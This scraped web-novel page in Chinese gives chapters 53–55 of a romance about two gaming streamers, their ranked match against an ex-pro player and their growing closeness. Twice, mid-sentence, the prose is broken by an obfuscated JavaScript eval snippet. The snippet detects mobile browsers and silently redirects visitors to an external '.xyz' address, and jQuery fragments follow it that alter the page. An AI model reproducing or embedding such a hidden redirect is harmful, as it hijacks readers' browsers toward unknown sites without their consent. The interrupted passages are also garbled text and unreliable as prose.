关时笑着看了看手机,“还有时间,待一会儿再回去直播?” “嗯。” 她把手搭在护栏上,深深吸一口气,让自己一点点融入阳光和河风之中。哗啦啦几声,一群白色的水鸟拍打翅膀从河面上掠过,程舒晚抬起眸望,目送它们乘着风往入海口的方向而去。 关时突然说:“我能给你照张相吗?” “什么?”程舒晚压着耳鬓飞扬的发丝回头,关时已经把手机对准了她,按下了快门。 “……”她无言瞪着关时,“先斩后奏还犯得着征求我的意见吗?” 关时没回答,目光定在手机屏幕上,两秒后把手机转过来给她看。 程舒晚接过手机,照片中的自己齐胸散发随风扬起,一双清冷的眉眼沐浴在夕阳的光辉里,镀上层浅浅的金色,朝镜头投来明亮的目光。 她没有自拍的习惯,对自己的容貌最大的印象是每天早上洗漱时,镜子里带着对早起的不爽的厌世脸。 关时镜头里的自己……怎么说呢。 “发我。”程舒晚最后只说了这么一句。 “不追究我先斩后奏了?”关时笑着低头给她传图片。 “事情办得好谁还追究,我又不是暴君。”程舒晚下载了这张照片,“看来玥玥朋友圈演唱会的照片是你拍的了。” “那妮子可不好伺候,”提到这个,关时似乎有不少感慨,点开自己的相册给程舒晚看,“单单给她拍妆就拍了两百多张,演唱会每个舞台舞美都拍了好多,我可不知道会漏哪个她想要发朋友圈的舞台。” 程舒晚越刷越乐,“有你打样,玥玥以后如果要挑选对象眼光肯定很高。” 距离护栏十米之外的灌木丛边,一只相机的取景框对准了这对颇为养眼,笑着交谈的男女,在二人有肢体触碰的瞬间,按下了快门键。 喀嚓一声。 关时表情突然顿住,快速回头扫了一眼灌木丛的方向。 53. 南来 “怎么了?”程舒晚侧头顺着望过去。 正是周末的日落前后时间,公园的走道上人来人往,玩闹的孩童,刷短视频的大爷,聊着天的年轻人,一如每天随处可见的日常。 “没什么。”关时收回目光若有所思,“走吧,差不多了,回去直播。” 程舒晚回头最后看了眼波光粼粼的日落,跟关时一起往网咖的方向走回去。 今天晚上的安排是和关时一起双排直播。 虽然二人早已彼此坦白身份,但是直播的流程和氛围并没有因为这件事情而改变什么。关时提议过要让二更天开麦交流,被程舒晚拒绝,至今依然保持打字交流的状态。 晚上七点,准时开播。程舒晚点击“开始匹配”,在等待期间和踩着点赶来看直播的粉丝观众们打招呼、闲扯。 有弹幕好奇地问:“小鬼姐,你和男神哥是双排组合吗?” 《封神图录》之中,如果有固定的排位队友,可以设置为车队,通过各种积分计算来形成排名,双排、三排、五排各自有积分榜单。 程舒晚没回答网友的话,直接点开积分给他们看。 组合:小鬼叉烧,二更天 场次:1255场 胜率:92% 积分:52713258 当前排位(双排组合全服榜):一百五十七名 最高排位(双排组合全服榜):十三名 弹幕:“十三名?” “我草,好高的胜率!” “场次也不多,纯粹是输得少啊……” 程舒晚拆了颗糖,说:“十三名是游戏刚上线那年,玩家没现在这么多,能打的也很少,侥幸赶上时代红利了。” 弹幕:“兄弟们,她管92的胜率叫侥幸。” “原来八九年前小鬼姐就和男神哥组搭档了?那场次是不是太少了,这么多年就打一千多场啊?” “前面的,男神哥有七年没上线,而且从小鬼姐的皮肤拥有数量来看,也是最近才回归游戏的。” “我要脑补出一场爱恨纠缠的大戏了……” “今日提问:小鬼姐和男神哥在一起没?没有的话我明天再来问。” 有榜单排位这么高的组合在,匹配系统估计算得CPU都快冒烟了,接近两分钟终于弹出“匹配成功”的字样,进入人物bp界面。 从上到下五个顺位,关时排在第三个,预选进攻位,程舒晚排在第五,预选突进位。 程舒晚的人物池比关时深很多,虽然她各个分路位置都很擅长,但高分段位还是会选择赢面最大的突进。关时则是打两把就换一个位置,不是很拘泥于打出最佳水平——反正他的搭子会全场C,他玩一会儿也输不了。 -二更天:叉烧,帮抢不? 关时在队伍的私聊频道里给程舒晚发消息,没有打扰其他队友。 程舒晚也打开私聊的语音频道:“你抢你的,我反制。” -二更天:OK 此时,直播间弹幕有些躁动,程舒晚好奇观众们在讨论什么,遂投去目光。 弹幕:“小鬼姐,看一楼ID。” “这就是缘分吗?” “应该是高段位本来就更容易匹配到。” -【我家有只大i猫】分享了直播间 -【无龙茶】分享了直播间 “太有乐子了哈哈哈!” 什么,谁……程舒晚扫了眼一楼队友的ID,眼睛微微睁大,这是个熟人。 南来。 她迅速看了眼其他队友的ID,好在并没有出现小月幽幽,看来南来这次是单排,她松了口气。 是单排就好,如果小月幽幽也在队里,不管打输打赢都会觉得膈应啊。 耳机里突然传来些杂音,有队友开了语音频道,下一秒,南来略显沉闷和阴郁的声音响起:“小鬼叉烧,用不用帮抢突进?” 南来预选的位置是防御位。 程舒晚愣了愣,差点怀疑自己听错,“我?” “帮抢。”南来又吱了一声。 此言一出,看热闹不嫌事大的弹幕更加奔腾了,七嘴八舌的八卦劲儿能把程舒晚祖坟给撅了,弹幕里有不知前情提要的求知者疯狂追问—— “南来跟主播认识?!” “我草,主动帮抢吗?小鬼姐面子这么大?小鬼姐到底什么人啊!” “不儿,就我一个沉溺在匹配到前职业选手的震惊之中吗?现在你告诉我这选手跟我们主播认识??” 还有围观过上次匹配相杀情况的瓜农热心解答—— “之前有次直播,南来和小月幽幽在对面,被小鬼姐和男神哥打爆了!太精彩了!” “南来在游戏结束之后还跑来加小鬼姐的好友,肯定很欣赏的。” “你们忘记细节了吗?小鬼姐说自己跟南来以前就一起打过游戏!” “主播的身份越来越神秘了朋友们……” 还夹杂着“小鬼姐男神哥”CP党们的忧虑—— “小鬼姐这么受欢迎,二更天正宫地位堪忧……” “前有白狸,后有南来,男神哥你加把劲啊!” “主播你已经拒绝男神哥的帮抢了,要是敢答应南来的帮抢,我现在就嘎你直播间!” “我磕的CP补药再be啦啊啊啊!【大哭】” 最后,弹幕还有几个状况外的不明吃瓜群众发出致命疑问—— “南来是谁?” 弹幕的叽里呱啦中,程舒晚礼貌地回了一句:“不用帮抢,谢谢。” 南来没说话,队伍语音频道一片寂静。倒是私聊频道里,关时暗戳戳发来了消息。 -二更天:我们家叉烧魅力无限喔。 程舒晚切换私聊语音频道,茶里茶气搭腔:“有人吃飞醋啦?” -二更天:醋都不让吃了,哇,朋友们评一下理啊,你们主播好霸道。 弹幕:“不不不,我们什么都没听见。” “网友也是你们play的一环吗?” “问我们干什么,演戏怎么还有观众的份!” “男神哥嫌弃了吗?那我抱走小鬼姐啦。” “前面的休想!” “休想!” “休想!” 谈笑间,ban人物环节结束,轮到一楼选择人物,倒计时二十秒。 倒计时十秒。 倒计时五秒。 南来依然没有选定人物。 最后两秒钟,队友们都有些坐不住了,南来的声音在频道里突然响起来:“你不用帮抢的话,那我选了。” 话落,他选择了程舒晚最擅长的千机鸟。 锁定。 ? 程舒晚微怔,再次确认南来预选的位置——防御位。 那这家伙抢她的位置干什么?还是在最后一秒的时候选定的,一点商量、交换的时间都没有,摆明了不想沟通。 这就是故意的。 弹幕也回过味来,安静片刻,满屏问号就刷了过去。 “不是,南来这是干什么?被拒绝了就破防了吗?” “能不能商量啊,都打过职业赛的,团队意识这么差?” “虽然南来玩突进可能更能赢……但他这个操作真的很迷。” “那小鬼姐得玩防御位了吗?” 程舒晚点开队伍语音频道,没什么情绪地开口问南来:“你想玩千机鸟?” 南来:“嗯。” 就单一个嗯字,什么都没解释。 程舒晚:“不商不量来这么一下,我是不是能理解为你对局里也不乐意配合?” 频道里陷入寂静,南来没做回应,程舒晚的质问砸在沉默的棉花上,让人火大。 有队友在这时候出声:“行了五楼,反正南来抢都抢了,又是前职业突进,别计较了。安心躺着上分就好,那么认真干什么。” 他说得轻描淡写的,那么认真干什么。 程舒晚安静片刻,笑了一下。 -二更天:叉烧,帮抢。 程舒晚会意,发起帮抢申请,选择的是进攻位人物,画皮。 三楼开始选择人物,关时点击帮抢。 小鬼叉烧选择进攻位,画皮,锁定。 关时把自己的进攻位交换给更能确定胜局的程舒晚,自己退而求其次地分到南来的防御位。 关时认识程舒晚这么久,知道她但凡需要回击解释超过五句话的都直接放弃争辩,向来懒得与没必要的人多言。 他自然站在她这边,所以第一时间就把自己的进攻位让了出来。 “谢谢,二天。”程舒晚说。 -二更天:你C你的,我反制。 他把刚才程舒晚说的话奉还了。程舒晚笑了,但还是嘴上不饶地说:“选个好活的,我罩着你。” -二更天:好啊,小鬼姐罩我。 -二更天:那我只能勉为其难,在下面兜着你了。 弹幕:“我将!永远!捍卫二更天的正宫地位!!” “这就是七年时间也无法阻隔的游戏搭子吗?” “前有爱情!” “叉烧放心飞!二天永相随!” 一条付费的醒目留言在直播间滑过,秉承主播的恪尽职守,程舒晚念了出来:“感谢来自雪野的付费留言:‘我们夜宵CP就是最吊的’……” 她念完顿了顿,疑惑地扬起眉头,“夜宵CP?” 【雪野】:“二更天搭配叉烧不就是夜宵吗?” “……”程舒晚笑了一声,“卧槽。” “哈哈哈哈哈!” “天才!” “当代网友还是太有梗了……” 程舒晚没有关闭游戏局内语音,和弹幕的互动都落在队友们耳朵里。《封神图录》的游戏主播不少,尤其在高分段位,几乎六七把游戏就能匹配到一次主播,队友们对此都见怪不怪,没有说什么。 倒是刚刚装死的南来,不知道哪句话戳了他神经,又发话了:“你在直播?” 程舒晚:“嗯。” 南来:“你还敢直播?” 程舒晚啧了声,彻底没了耐心:“嘴痒就扇自己两巴掌,别没话找话。” 局内频道寂静片刻,不知道哪个队友发出一句“我草”。 南来:“你那么大火气干什么。” 程舒晚没再搭理,点开南来的ID,屏蔽语音。 清静。 她不知道南来自从上次游戏里偶遇之后有什么心路历程,是否对她欣赏还是愧疚,她不在乎。 她只想把当下这把游戏打好。 开局短暂的意外让弹幕讨论猜疑了好一会儿,不过随着对局推进,又纷纷把话题转 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364926|183889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 移到游戏上来。 南来虽然情商够低,但游戏技术确实不是寻常人可及。他的千机鸟风格和程舒晚不同,如同草丛游走的毒蛇,低调,权衡,周旋,总能用最具有性价比的方案留存资源。 程舒晚的千机鸟更像是华丽灵活的猎鹰,一旦抓到机会就毫无保留穷追猛打。就算她现在是进攻位,选择的“画皮”也是高机动高爆发的人物,通过位移技能闪转腾挪拉近身位规避伤害,一套爆发突脸,毫无保留,不成功便成仁的不要命打法。 程舒晚微操和反应力都属上乘,很少失手。 但哪怕被对面抓住了破绽,她也不会退缩。 她有个很可靠的搭子。 -二更天:等我大,四秒。 -二更天:注意野区,小心包抄。 -二更天:看我位置。 -二更天:我准备开,注意跟。 关时的队内信号发得比辅助位还频繁,时刻关注队友和对面的动向,总能在最合适的时候出现并支援。 但有个例外。 他没有支援南来。 于公,南来总是孤军深入,关时一个防御位,支援他容易拉慢节奏。 于私,他不想理会那个程舒晚讨厌的人。 而那两位队友,一开始还会给南来打打下手,支援支援,但逐渐发现那家伙不但没有感谢或者让经济,到头来还在逆风时把他们扔下撤退,相当果决。 他从头到尾都没有把他们这些普通玩家放在眼里。 在这样的对比下,处处关心、支援及时的关时显然更博得他们的好感。 所以,随着对局时间推进,场面开始变得奇妙——四位队友抱团,似有若无地把能力最强的前职业选手孤立了。 这位前职业选手似乎也不在意,在这种中高分段的对局里,他9-1-3的战绩可以是他一个人孤立四个队友。 只是,“南来”的名号总会引起对手的注意,越是逆风,他们越是逮着南来包抄。 南来好容易逃出他们的围剿,正好时间来到半小时整,妖王刷新。 他望着自己残缺的血条和蓝条,终于想到摇人来帮忙打妖王buff。 -【千机鸟】标记位置 -【千机鸟】发起进攻 -【千机鸟】发起进攻 -南来:人呢?打妖王。 -【画皮】击杀【雪衣女】 -【画皮】击杀【鲲鹏】 -【画皮】击杀【夜行灯】 “不用打了。”就在南来狼狈逃窜的时候,程舒晚和关时绕后了追捕他的对手,三下五除二收割拿下三杀。她勾勾嘴角,和队友们一起点破敌方的高地防御塔,“平推。” “封神!” “结束。”程舒晚伸了个懒腰。 -二更天:干得漂亮。 “二天你是不是忘了什么。”程舒晚喝了口水。 -二更天:? “你忘了谢谢我罩着你。” -二更天:朋友们,你们主播就这嘴脸呢。 “动不动就告状,小孩儿啊。”程舒晚说,“谢谢。” -二更天:谢谢我兜着你? 程舒晚:“谢谢你免费请我和朋友们看了场游戏对局的人情世故,很精彩。” -二更天:……不客气,记得交学费。 程舒晚在摄像头外的脸已经压不下嘴角了。她看了看后台数据,直播间人数已经到八百人左右,她趁机求了波关注,和关时退出结算界面,开始匹配下一把游戏。 桌上的手机振动,进来一条新信息,程舒晚望过去。 南来。 阴魂不散的……程舒晚盯着手机屏幕两秒,还是解锁点开微信,看看他说了什么。 “二更天是你男友?”只有这么一句。 程舒晚快速蹙眉,她点开南来的头像。 加入黑名单,确定。 删除好友,确定。 清静。 海宜市的夜幕下,老市区安静的居民小区里,十二楼一间装修灰黑色调的房间,宽大的电竞桌前,一个高瘦阴郁的青年双手捧着手机,正盯着聊天界面,等待对面回复。 几十秒之后,他手指微动,在聊天框打下新的话。 “这几年你过得怎么样?” 点击发送之后,他盯着红色感叹号愣了半天。 南来重新望向电脑屏幕,小鬼叉烧和二更天已经退出结算界面。 他又点开“最近组队”,在列表里找到两人,他们的ID后面写着“对局中”,显示的已开局时间都是一样的。 是双排…… 南来若有所思地点开自己的排位记录,找到几个月前意外碰上程舒晚的那局游戏,果不其然又看到了二更天的名字。 他抿唇半晌,低头重新打开微信,在列表里翻找片刻,点开一个叫“海宜白狸”的头像。 “你和阿早还有联系吗?”他编辑发送了这句话,不多时,对面回了消息。 “?” 回了一个问号。 正斟酌着打字解释,白狸发了新的消息:“你怎么还在我列表,我居然忘记删你了。” 南来愣了愣,飞速打字:“你是不是有小号叫二更天?” 点击发送,再次喜提红色感叹号。 南来宛若石化的雕塑,在电脑跟前呆滞许久。 54. 共路 晚上十一点,程舒晚准时下播。 最近涨粉的速度变快不少,收入也逐渐有了起色。借着有商单的机会,她开始规划新栏目,准备做一个CPL赛事的资讯杂谈,还询问了直播间的意见,大家都很乐于听她点评电竞圈的新闻和乐子。 更有观众锐评——“一想到小鬼姐半死不活的语气讲笑话就很好笑”。 亲粉丝。 程舒晚走下楼梯,网咖大厅满当,裴哥也没空在前台看偶像剧,东跑西跑地解决问题。 关时临时顶上前台,正给刚来的顾客开机子。他修长的手在键盘上操作,极其出挑的眉眼微微耷拉着看屏幕,有点懒洋洋的。 开机的是一对闺蜜,两颗脑袋正凑在一起,直勾勾盯着关时,面色激动地相互咬耳朵。 程舒晚站在楼梯最后几个台阶,架着下巴看着。 关时开完机子把身份证递过去,露出笑容,“二楼35双人包间,楼梯上去右手边走到底就到了。” 两个姑娘当中,面色稍显腼腆的接过身份证,有点支支吾吾,看了眼身边的闺蜜。 闺蜜胆大些,接收到她的信号,于是对关时说:“我们第一次来,带我们上去嘛。” 关时似乎挺习惯这种场面,笑着回头喊其他网管店员:“裴哥,阿玉,空着不?来带两位上楼。” 裴哥的声音从遥远的地方飞过来:“等一会!” 闺蜜说:“你带我们去不就好啦。” 关时歉意地笑了笑,“不好意思,不介意的话多等一会儿?我们前台要有人在。” “行,没关系,我们等会儿。”闺蜜看向稍显内向的姑娘,五官乱飞地怂恿。 姑娘脸色微红,最终鼓起勇气,对关时说:“那个,你,你,我可以加你微信吗?” 哦哟。 不远处的程舒晚不动声色地扬了扬眉头,微微勾起嘴角,饶有兴趣地看向关时。 关时笑容不减,拿出自己的手机点开二维码,“没问题啊。” 程舒晚的嘴角猛然往下一坠。 还真他妈的给啊。 姑娘喜出望外地扫了关时手机上的二维码,但脸色很快就僵硬了下,估计是看到了关时的微信名字。 “木吉网咖客服”。 关时:“网咖有什么活动和优惠我都会发朋友圈通知,有想了解的随时可以问我哦。” 姑娘:“啊,好……” 胆大的闺蜜看破了关时的阳谋,直戳了当地问:“小哥,你长这么帅,是不是有女朋友?” “我啊……”关时还没说完,视线朝旁边一瞥,站起身,“下来了?” 他眼神立刻温和下来,语气轻柔带笑,满是宠溺。 闺蜜俩闻言也双双扭头过去,望见了程舒晚。 天气已经炎热,程舒晚的长发简单地挽成丸子,只有两鬓前几缕碎发垂下,把清冷又精致的五官衬得不食人间烟火,气质极佳。 “嗯。”她先是愣了一下,随后很快入戏,轻轻点头,望向闺蜜俩,“你客人?哪个包间,我带她们去。” “35号。”关时说,“你帮我守下前台吧,我带她们上去。” “你忙一天了,我代劳吧。”程舒晚放轻了语气微笑道。 两人在这边你一言我一语的,闺蜜俩终于默默打断:“不了,老板,不用了。上去右手边对吧?我们自己去就好。” 关时停下和程舒晚的“你侬我侬”,含笑点头:“好,上楼右拐走到尽头就是。” 那内向的姑娘跟闺蜜交流了什么,露出死心的表情,闺蜜安慰她两句,最后还转头来对着关时和程舒晚比了个心:“祝99!” 关时:“……” 程舒晚:“……” 她看关时,说:“我们家二天魅力无限哦。” “咳,”关时找了找话头,“所以我一直比较烦恼坐前台。” 程舒晚:“你胆子挺大,不怕我接不上戏。” “你接得上,演我的时候藏得多深。”关时和忙完的裴哥打了声招呼示意自己下班,继续笑道,“走吧。要不是你刚好过来,我还不知道怎么脱身呢。” 程舒晚小声嘀咕:“才不是刚好过来。” “嗯?”关时俯下身问。 他凑得很近,程舒晚几乎能感受到他似有若无的呼吸,下意识地退开两步,扭过头不让自己脸上的血色暴露:“走啊,回去了。” 关时也意识到自己凑太近,隔了两步才跟在程舒晚后面,笑着扯开话题:“饿不饿,要不要去吃点东西?” 程舒晚让晚风把脸颊吹凉一点,揶揄:“怎么,夜宵CP要整点夜宵吗?” 关时被她这句弄得发笑:“诶,小鬼姐,之前怎么没发现你粉丝那么有才呢?” 程舒晚:“那当然,随我。” “是是是。”关时恭维,“还好他们懂事喊你‘小鬼姐’而不是跟着我喊你“叉烧”,不然对外怎么自称?‘叉烧粉丝’……听起来不像游戏主播,像吃播。” “再说真饿了。”程舒晚说,“我不能吃夜宵啊,吃了睡不着。” “行。”关时跟着走在她身侧,“我还没问过,‘小鬼叉烧’这个ID,有什么寓意吗?” 程舒晚想了想,“算不上什么寓意……不是有句俚语吗,‘生块叉烧好过生你’,起网名的时候又在叛逆期,干脆做一块叛逆的叉烧好了,不去顺应谁,就起了这个名字,后来也懒得改了。” “叛逆叉烧。”关时跟着念了一句。 程舒晚看他,“怎么?” 关时:“很有嚼劲的感觉。” 程舒晚:“啊,生活把我反复咀嚼,竟然使我肉质Q弹。” 关时:“……” 他突然捂住嘴,笑得肩膀都在颤抖。 程舒晚眯着眼看他。 “好烂的梗。”他说。 程舒晚:“‘点点天时’这个网名就不烂吗?” 关时睁大眼睛:“这名字不有意思吗?” “点点天时,组合起来就是你名字,不觉得这种冷幽默很……”她顿了顿,嘲笑,“很弱智吗?” 关时:“……” 二十几岁的两个成年人差点在大马路上当街打架,对峙片刻又笑成一团。 从网咖回家这条路不知道走了多少遍,不多时就拐回小区。关时微微侧目,程舒晚正低头看手机里的消息,似乎是粉丝群里在聊天。 “你的粉丝群有人管理吗?”关时问。 “嗯。”程舒晚说,“两个粉丝群,有四个管理员,外加一个直播间房管,我有给她们开工资。” 关时还没回话,程舒晚就继续说下去:“都是大学生,女孩子。闲暇时间帮我管管,赚赚零花钱,不贵,我付得起。” “……啊。”她都说完了,关时左右也没有什么想问的,于是开口提了另一个话题:“你以前跟南来算朋友吗?” 程舒晚把目光从手机里提溜出来,望了关时一眼。 关时对南来还挺在意的。 “严格来说,不算。”她把手机息屏放回口袋,“我认识他的时候他还没有退役,隔了几层朋友,除了加过微信,几乎没有什么互动。” 关时说:“他对你应该不那么纯粹。” 程舒晚想起南来在对局后发来的微信内容,“嗯”了声,“有可能。” 她没听见关时的回应,扭头,只见他微微眯眼一言不发,不知道在想什么。 程舒晚:“南来让你有危机感了?” “呃?”关时猛地回过神来,耳朵飞快地红了一会儿,“我只是想,你那会儿应该很多朋友,有人喜欢也无可厚非。” “我?”程舒晚笑,“没谁能容忍我的脾气,到现在身边的朋友也就谭婧……和你。” 关时:“可你跟很多人保持距离都是有原因的。” 程舒晚:“……” 她收敛了笑容。 “真正的你,坦然,仗义,真诚,我不相信没有人会被你吸引,毕竟当年隔着网线都有几十万人喜欢你。”关时稍作停顿,认真说道,“我一直想说,我很庆幸,能比大部分人都更早地被你注视。” 微风轻拂而过,关时眼里的光芒如星,散落在程舒晚的目光里。 她垂下头,暗暗地笑了。 “那还不是因为你,”她说,“太粘人了,甩都甩不掉。” “你不讨厌就好。”关时说。 两人继续 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364927|183889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 往前走,关时落后半步走在后面,程舒晚回眸看他一眼,拽住他的手。 关时下意识躲了一下。 程舒晚手指微顿,还是往前勾住了他的手指。 这次关时僵持片刻,最后放弃挣扎,任由她勾着了。 “才说甩都甩不掉。”程舒晚略微不满地说了声。 关时笑了笑,没做解释。 下一秒,他突然拧起眉毛,快速回头望向身后。 “怎么?”程舒晚问。 关时勾着程舒晚的手紧了些,一边继续走,一边问:“最近郭楷找过你吗?” “没有。”程舒晚说,“我没见过他。” “嗯。”关时点点头,“这阵子你要出门的话,最好喊我一起。” 程舒晚:“发现什么了吗?” 关时绷着嘴角几秒,露出微笑来,“只是一种预案。” 程舒晚眨了眨眼,若有所思。 回家洗完澡已经过了十二点,程舒晚一边在洗漱台前吹干头发,一边用手机随意刷着游播社。 自从小鬼叉烧这账号的粉丝数量上来之后,她偶尔也能刷到相关的帖子和视频,有些网友动作很快,她居然刷到今天和南来那场对局的直播切片,还有些浏览量,评论区热热闹闹的。 “南来退役之前就传出过和队友不合的传言,看来不假。” “肯定不假啊,小D之前直播的时候就说过南来这个队友不好评价。” “这个主播的声音好好听诶,手也好好看。” “南来跟小鬼叉烧是不是认识?” “有可能是圈子里的人,不然怎么悄无声息蹦出来一个能力这么强的女主播?” “可以关注一下我们小鬼姐,又冷又飒又牛逼,还幽默。” “南来之前不是跟小月幽幽连麦直播吗?对上过这个小鬼叉烧啊,玩千机鸟跟疯狗一样追着小月幽幽杀,有仇似的。” “在现场,那场游戏很搞笑。” “在哪啊,有没有切片,好想看。” “等等,千机鸟,技术流女主播,和小月幽幽不合,好像想起了谁……” 程舒晚撑着下巴一条条评论往下刷,最后左滑退出了视频,关掉吹风机,若有所思地盯着洗手台。 几十秒之后,她眼睫微动,重新拿起手机打开微信列表,点开谭婧的头像。 “大律师,睡没?” 谭婧秒回:“明日休假,喝酒ing” “在酒吧?”程舒晚走出浴室,在床沿坐下,打开了空调。 “在家小酌。”谭婧说,“咋?” “想咨询一下某些法律条款。”程舒晚说。 谭婧发来一条语音,非常情绪充沛地哀嚎:“打扰我休假的混蛋东西啊!” -【对方转账:2000元】 谭婧:“?” 谭婧:“多见外啊姐们儿。” -【转账已被接收】 谭婧反手打来电话,“咋了主播,犯法了?需要找我辩护吗?” “犯法了犯法了,V我一百万保释费。”程舒晚靠在床头板,语气轻松地笑了笑,“除了咨询,确实想拜托一件事。” 和南来匹配到的游戏直播切片视频并没有昙花一现地消失,过去一两周之后在游播社有了二十几万的播放,而顺着这个视频,之前和小月幽幽的直播切片也被网友翻了出来,小鬼叉烧这名字在《封神图录》的游戏圈里开始有了讨论。 伴随而来的,就是对小鬼叉烧和早早不起早是否为同一个人的怀疑。 好在这些讨论还在可控的范围,没有对程舒晚的直播间产生太大的影响。关时也一如既往平和,似乎没察觉到网上的言论,也有可能是他最近不知为何忙了起来,除了同路出行之外,其他时间,程舒晚都不太看得见他。 但他没关注网上的事情,也好。 这天中午她没去关时家蹭饭,在自家厨房试做甜品,等待烤箱工作结束的功夫,放在台面上的手机响了一声。她拿起来看了眼收到的消息,目光顿住。 消息很简单,就一句:“中午好,早姐姐。” 聊天框的名字是“齐夏”,后面跟着一个备注。 “白狸”。 55. 愤怒 狐战队队长,CPL明星选手,白狸。 程舒晚手指在屏幕跟前悬了又悬,回复:“中午好。有事?” 她洗洗手把厨房台面上的物品归位,拿着手机到客厅坐下,对面又弹了条新消息。 “早姐姐,冷漠,哭哭。” “……”程舒晚好笑地叹了口气,“你没在训练?” “刚吃过午饭,休息一会儿。”白狸说,“看我的比赛了吗?” 程舒晚给自己倒了杯水,“嗯,恭喜进入季后赛决赛。” “我就知道你有关注我的比赛。现在方便吗?我想通个电话。” 左右没什么事儿,程舒晚直接拨了语音电话过去,白狸秒接。 “好久不见,早姐姐。”通话那头传来一道清透又温润的少年嗓音,似是透亮的玉。 “嗯,是很久没联系了。” 白狸唏嘘:“年后你离开海宜就不太回消息了,我的新年礼物都没来得及送呢。朔江还待得习惯吗?” “好歹是老家,怎么会过不惯。”程舒晚说,“就那么希望我回海宜?” “那肯定的。”白狸一点儿没藏着掖着,“阿洛他们也想你的,我倒是担心更多点。” 程舒晚:“担心什么?” “你家里啊。之前跟家里闹成那样,真担心你在家乡也活出异乡的感觉。” 程舒晚低首笑了笑没说话。 白狸也跟着沉默须臾,“我说中了?” 程舒晚:“你下一句是不是‘既然都是异乡,回海宜来吧’之类的?” 白狸:“聪明。诶姐姐,你朔江真待得不好?” “没有的事。” “啊,这样。”白狸拉长声音,七拐十八弯的终于绕出来正题,“那为什么复出不通知我?” 程舒晚没想到这家伙居然是兴师问罪来的,舌头在嘴里打了个结,百口莫辩,“忘了。” “提醒一下,你开播已经四个月了。”白狸幽幽道,“还是南来那混账私聊我上网一搜才知道的,姐姐啊,他都比我先知道。” 程舒晚无言昂头望天花板。 真是难哄的小少爷啊。 “南来那是意外,排位排到了。”程舒晚说,“就是觉着没必要,我有前科,复活了也别节外生枝比较好,你正当职业巅峰,弄出点什么影响把我卖了都赔不上你们俱乐部损失。” “当初没签上你才是我们俱乐部的损失。”白狸嗤之以鼻。 “有没有那么夸张。” “还有,你那算哪门子前科,子虚乌有的事情。我通稿都让人写好了,辟谣视频都让人做完了,结果你说不当主播了……啧,那才是浪费我的真金白银。”白狸恨铁不成钢,“这么说你确实得补偿我。” “行,”程舒晚知道这小少爷就是嘴上说说,“要怎么补偿?” “我要求你,”白狸清了清嗓子,郑重其事说道,“我们队下周的比赛在朔江,灵灵阿罗他们都跟着一起来,到时候一块吃个饭。” “真是好可怕的狮子小开口。”程舒晚翻看日历,“七月二号跟风侠那场?你们在朔江待多久?” “七月四号回海宜吧,三号可以休息一下。” “好,那到时候联系。” “等下,早姐姐。” “嗯?” “不论怎么说,恭喜回归。”白狸说,“这次做主播如果遇到难处或者小人作祟,要找我帮忙。” 程舒晚捏着手机沉默片刻。 她想起关时那天晚上,声音轻缓又认真地说出来的那些话。 可你跟很多人保持距离都是有原因的。 真正的你,坦然,仗义,真诚,我不相信没有人会被你吸引。 “好。”程舒晚微微笑了下,“虽然我还是希望不要发生,但如果搞不定一定会找你帮忙的。” 她已经不是那个,因为不知所措,就把所有靠近自己的好意都拒之门外的小女孩了。 结束通话,程舒晚又回到了厨房,待到烤箱“叮”一声,她戴上手套,把试做的蛋糕胚从烤箱里拿出来,烘烤过的甜香瞬间弥漫,充盈了厨房。 她切了一小块尝了尝,满意地眯起眼。 朔江市南区,一片年岁没那么长远的小区里,关时正坐在用居民房当工作室的房间里,检查完面前的合同,收拾收拾夹在一起,抬眸对桌子对面的人弯眼一笑,“那就这样,没问题了。” “好的。”桌子对面穿着体面的女性负责人站起来,不太适应正装似的整理整理衣服,跟关时握了手,“没想到您如此支持我们的项目,实在受宠若惊。” “是好项目。”关时揣好文件夹,“我等你们的反馈。” 会客的房间外是七八个拼在一起的工位,键盘和鼠标的声音此起彼伏,各种资料和书籍堆在一起占了一半的过道。负责人略显艰难地从过道挤出来,正要提醒关时小心,就见他片叶不沾身地从纸堆中滑了出来。 “呃,不好意思关先生,我们这儿实在有点转不开身。”负责人有点尴尬地扶了扶眼镜。 关时嗓音温和带笑:“起步阶段都这样,不要紧。去忙吧。” “我送送您。” “不用,我车就在楼下。”关时挥挥手走出门,在负责人的道谢中走进电梯。 “关先生慢走。”负责人微微弯腰,待到电梯门阖上,呼出一口气,脸上是遮掩不住的喜悦。 屋子里有人探出头来:“于姐,于姐!那是投资人啊,好年轻,长得好帅啊!” “是天使!雪中送炭的天使!”于姐快步走回来,抱住那人差点跳起来,“我以为我们的游戏活不到上线了!” 关时走到停车场坐回车里,低头看手机,程舒晚发来消息:“不在木吉?” “嗯,有点工作。”关时回复,“你要回家?我现在赶不回,等我一会儿?或者让小贾送你。” “我没那么弱啊二天。”程舒晚发了个流汗的表情,“也不是这个事儿,就是等会儿录素材,怕忘了先跟你说一声,一楼休息室冰箱有留给你的蛋糕。” 关时:“你自己做的?” 程舒晚:“当然。” “那可得品鉴一下。” “包满意的,无敌好吃。” 关时低笑,眼神柔和。 程舒晚:“还有,下周我几个朋友要来朔江,周三我请他们吃饭,你要不要一起?” “朋友?” “嗯,职业选手,来打比赛。” “这人脉可以啊,叉烧小姐。”关时发出一句玩笑的惊叹,“没问题。” 